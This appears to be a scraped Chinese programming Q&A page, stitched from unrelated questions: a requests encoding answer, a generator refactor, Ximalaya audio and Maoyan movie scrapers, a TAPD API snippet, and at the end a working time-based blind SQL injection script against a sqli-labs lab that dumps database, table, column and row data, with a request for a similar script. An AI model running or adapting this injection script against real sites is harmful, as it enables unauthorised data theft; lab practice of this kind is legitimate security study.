data_response = requests.get(i)的编码是'ISO-8859-1',怎么转换为中文观看

时间: 2024-03-04 07:48:05 浏览: 47
可以使用Python中的encode()和decode()方法来进行编码转换。假设data_response是一个requests库获取的网页响应对象,其编码为'ISO-8859-1',需要将其内容转换为中文观看,可以使用以下代码: ``` data_response.encoding = 'ISO-8859-1' # 将响应编码设置为'ISO-8859-1' content = data_response.content.decode('utf-8') # 将响应内容解码为utf-8编码的字符串 print(content) # 打印输出结果 ``` 其中,将响应对象的编码设置为'ISO-8859-1',然后使用content属性获取响应内容,并将其解码为utf-8编码的字符串,最后打印输出即可。如果需要将字符串保存到文件中,可以使用以下代码: ``` with open('filename.txt', 'w', encoding='utf-8') as f: f.write(content) ``` 其中,'filename.txt'是保存文件的文件名,'w'表示以写入模式打开文件,'utf-8'表示使用utf-8编码进行文件写入。
相关问题

将 for index, adcode_dict in enumerate(adcode_list, 1): adcode = adcode_dict["adcode"] full_url = base_url + adcode response = requests.get(full_url) json_data = response.json() try: weather_name = json_data.get("data").get("data")[0].get("live").get("weather_name") adcode_dict["weather_name"] = weather_name if weather_name == '晴': sunny += 1 elif weather_name == '多云': cloud += 1 elif weather_name == '阴': being_cloud += 1 elif '雨' in weather_name: rain += 1 else: haze += 1 print(index, adcode_dict) except Exception as e: print(e)变成一个生成器函数

可以将上述代码转化为一个生成器函数,如下所示: ```python import requests def get_weather_info(adcode_list): base_url = "http://xxx.xxx.xxx.xxx/weather/" sunny = 0 cloud = 0 being_cloud = 0 rain = 0 haze = 0 for index, adcode_dict in enumerate(adcode_list, 1): adcode = adcode_dict["adcode"] full_url = base_url + adcode response = requests.get(full_url) json_data = response.json() try: weather_name = json_data.get("data").get("data")[0].get("live").get("weather_name") adcode_dict["weather_name"] = weather_name if weather_name == '晴': sunny += 1 elif weather_name == '多云': cloud += 1 elif weather_name == '阴': being_cloud += 1 elif '雨' in weather_name: rain += 1 else: haze += 1 yield index, adcode_dict except Exception as e: print(e) ``` 这个生成器函数会依次返回每个地区的天气信息,并且会统计出晴、多云、阴、雨、霾的数量。你可以使用`next()`或者`for`循环来获取每个地区的天气信息。例如: ```python adcode_list = [...] # 假设这里是一些地区的adcode列表 gen = get_weather_info(adcode_list) for index, adcode_dict in gen: print(f"地区{index}的天气信息:{adcode_dict['weather_name']}") ```

import requests import parsel headers = { 'Referer': 'https://www.ximalaya.com/', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 Edg/113.0.1774.35' } def download_one_music(song_id, name): api_url = 'https://www.ximalaya.com/revision/play/v1/audio?id='+song_id+'&ptype=1' response = requests.get(api_url, headers=headers) src = response.json()['data']['src'] print(src) response = requests.get(src,headers=headers) print(response) with open(name + '.m4a',mode='wb')as f: f.write(response.content) response = requests.get('https://www.ximalaya.com/album/68559551',headers=headers) html =response.text selector = parser.Selector(html) lis = selector.css('li._nO') for li in lis: title = li.css('div.text._nO a::attr(title)').get() href = li.css('div.text._nO a::attr(title)').get() song_id = href.split('/')[-1] print(song_id,title)

这段代码是一个Python脚本,用于从喜马拉雅网站下载音乐。代码中使用了requests和parsel库,headers中设置了请求头信息。其中,download_one_music函数是用于下载单个音乐的,通过传入歌曲ID和名称来进行下载。该函数中首先通过API接口获取到音乐的下载地址src,然后再通过requests库进行下载,最后将文件保存到本地。代码中还使用了循环遍历li元素,通过CSS选择器获取到每个音乐的ID和名称,从而进行批量下载。需要注意的是,这种爬取方式可能会违反喜马拉雅网站的规定和法律法规,建议在遵守相关法律法规的前提下使用。
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import re import requests import parsel # 数据解析模块 def change_title(title): """处理文件名非法字符的方法""" pattern = re.compile(r"[\/\\\:\*\?\"\<\>\|]") # '/ \ : * ? " < > |' new_title = re.sub(pattern, "_", title) # 替换为下划线 return new_title for page in range(13, 33): print('---------------正在爬取第{}页的数据----------------'.format(page)) # 1.确定数据所在的链接地址(url) 逆向分析 网页性质(静态网页/动态网页) url = 'https://www.ximalaya.com/youshengshu/4256765/p{}/'.format(page) headers = { 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36'} # 2.通过代码发送url地址的请求 response = requests.get(url=url, headers=headers) html_data = response.text # print(html_data) # 3.解析数据(要的, 筛选不要的) 解析音频的 id值 selector = parsel.Selector(html_data) lis = selector.xpath('//div[@class="sound-list _is"]/ul/li') for li in lis: try: title = li.xpath('.//a/@title').get() + '.m4a' href = li.xpath('.//a/@href').get() # print(title, href) m4a_id = href.split('/')[-1] # print(href, m4a_id) # 发送指定id值json数据请求(src) json_url = 'https://www.ximalaya.com/revision/play/v1/audio?id={}&ptype=1'.format(m4a_id) json_data = requests.get(url=json_url, headers=headers).json() # print(json_data) # 提取音频地址 m4a_url = json_data['data']['src'] # print(m4a_url) # 请求音频数据 m4a_data = requests.get(url=m4a_url, headers=headers).content new_title = change_title(title) # print(new_title) # 4.数据持久化(保存) with open('video\\' + new_title, mode='wb') as f: f.write(m4a_data) print('保存完成:', title) except: pass

import requests from bs4 import BeautifulSoup import openpyxl def get_movie_data(year): url = f'https://maoyan.com/films?year={year}' headers = {'User-Agent': 'Mozilla/5.0'} response = requests.get(url, headers=headers) if response.status_code == 200: soup = BeautifulSoup(response.content, 'html.parser') movies = soup.select('.movie-item-title') movie_data = [] for movie in movies: movie_link = 'https://maoyan.com' + movie.a['href'] movie_data.append(get_movie_details(movie_link)) return movie_data else: print(f"Failed to fetch data for year {year}") return [] def get_movie_details(url): headers = {'User-Agent': 'Mozilla/5.0'} response = requests.get(url, headers=headers) if response.status_code == 200: soup = BeautifulSoup(response.content, 'html.parser') movie_name = soup.select_one('h1.name').text.strip() release_date = soup.select_one('.info-release').text.strip() genre = soup.select_one('.info-category').text.strip() director = soup.select_one('.info-director').text.strip() actors = [actor.text.strip() for actor in soup.select('.info-actor a')] maoyan_score = soup.select_one('.score-num').text.strip() box_office = soup.select_one('.info-num').text.strip() return { '电影名称': movie_name, '上映日期': release_date, '影片类型': genre, '导演': director, '演员': ', '.join(actors), '猫眼口碑': maoyan_score, '累计票房': box_office } else: print(f"Failed to fetch details for {url}") return {} def save_to_excel(data, filename): wb = openpyxl.Workbook() ws = wb.active headers = ['电影名称', '上映日期', '影片类型', '导演', '演员', '猫眼口碑', '累计票房'] ws.append(headers) for movie in data: row_data = [movie.get(header, '') for header in headers] ws.append(row_data) wb.save(filename) print(f"Data saved to {filename}") if __name__ == '__main__': years = range(2017, 2021) all_movie_data = [] for year in years: movie_data = get_movie_data(year) all_movie_data.extend(movie_data) save_to_excel(all_movie_data, 'maoyan_movies_2017_to_2020.xlsx')

根据前端传过来的前端传递过来的开始时间和结束时间参数 筛选创建时间在开始时间和结束时间区间的数据 修改后端写法def get_bugs_data(): api_url = "https://api.tapd.cn/bugs" api_headers = {"Authorization": "#", "content-type": "application/json"}iterations_url = "https:/"count_url ="https://at" params_count = {"status": "closed","workspace_id": 41571821, } # 发送请求,获取缺陷总数 response = requests.get(count_url, params=params_count, headers=api_headers) if response.status_code == 200: total_bug = response.json()total_count = total_bug['data']['count'] print(total_count) else: print("Error: Failed to retrieve count. Status code: ", response.status_code) start_time = request.get('start_time') end_time = request.get('end_time') start_time =datetime.strptime(start_time, '%Y-%m-%d %H:%M:%S') end_time = datetime.strptime(end_time, '%Y-%m-%d %H:%M:%S') bug_list = [] for i in range(1,total_count//200): params = {"limit": 200, "status": "closed", "workspace_id": 41571821, "page": i } response = requests.get(api_url, params=params, headers=api_headers) if response.status_code == 200: res = response.json() for bug_item in res['data']: if bug_item['Bug']['fixer'] and bug_item['Bug']['fixer'] in white_name:bug_data_dict = {"bug_title": bug_item['Bug']['title'], "bug_created": bug_item['Bug']['created'], "bug_fixer": bug_item['Bug']['fixer'], "bug_resolved": bug_item['Bug']['resolved'], "bug_url": f"https://www.tapd.cn/41571821/bugtrace/bugs/view?bug_id={bug_item['Bug']['id']}" } params_iteration = {"limit": 200, "workspace_id": 41571821, "id": bug_item['Bug']['iteration_id'] }response =requests.get(iterations_url, params=params_iteration, headers=api_headers)if response.status_code == 200: iterations = response.json() iteration_name = iterations['data'][0]['Iteration']['name'] bug_data_dict['iteration_name'] = iteration_name bug_list.append(bug_data_dict) else: print("Error: Failed to retrieve iterations. Status code: ", response.status_code) return {"code": 200, "msg": "成功", "data": bug_list}

import time import requests def get_data_len(url, data_payload): length = 1 while True: data = f"id=1' and if(LENGTH({data_payload})>{length},sleep(0.4),1)--+" start_time = time.time() response = requests.get(url, params=data) end_time = time.time() if end_time - start_time >= 0.4: length += 1 else: break return length def get_ASCII(url, ascii_payload): ascii_value = '' for i in range(1, len(ascii_payload) + 1): left = 32 right = 126 while left <= right: mid = left + (right - left) // 2 data = f"id=1' and if(ASCII(SUBSTRING({ascii_payload}, {i}, 1))>{mid},sleep(0.4),1)--+" start_time = time.time() response = requests.get(url, params=data) end_time = time.time() if end_time - start_time >= 0.4: left = mid + 1 else: right = mid - 1 ascii_value += chr(left) return ascii_value def get_schema_name(url): len = get_data_len(url, 'database()') print('获取数据库名字') db_name = get_ASCII(url, f'substr(database(),1,{len})') print(db_name) def get_table_name(url): table_name = get_ASCII(url, '(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())') print(table_name) def get_column_names(url, table_name): column_names = get_ASCII(url, f"(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='{table_name}')") print(column_names) def get_column_data(url, table_name, column_name): column_data = get_ASCII(url, f"(SELECT GROUP_CONCAT({column_name}) FROM {table_name})") print(column_data) url = "http://192.168.124.128/sqli-labs-master/Less-9/??id=1/" print('开始') get_schema_name(url) print() get_table_name(url) get_column_names(url,'emails') table_name = 'emails' column_name = 'email_id' get_column_data(url, table_name, column_name)帮我写个类似这样的python时间盲注脚本

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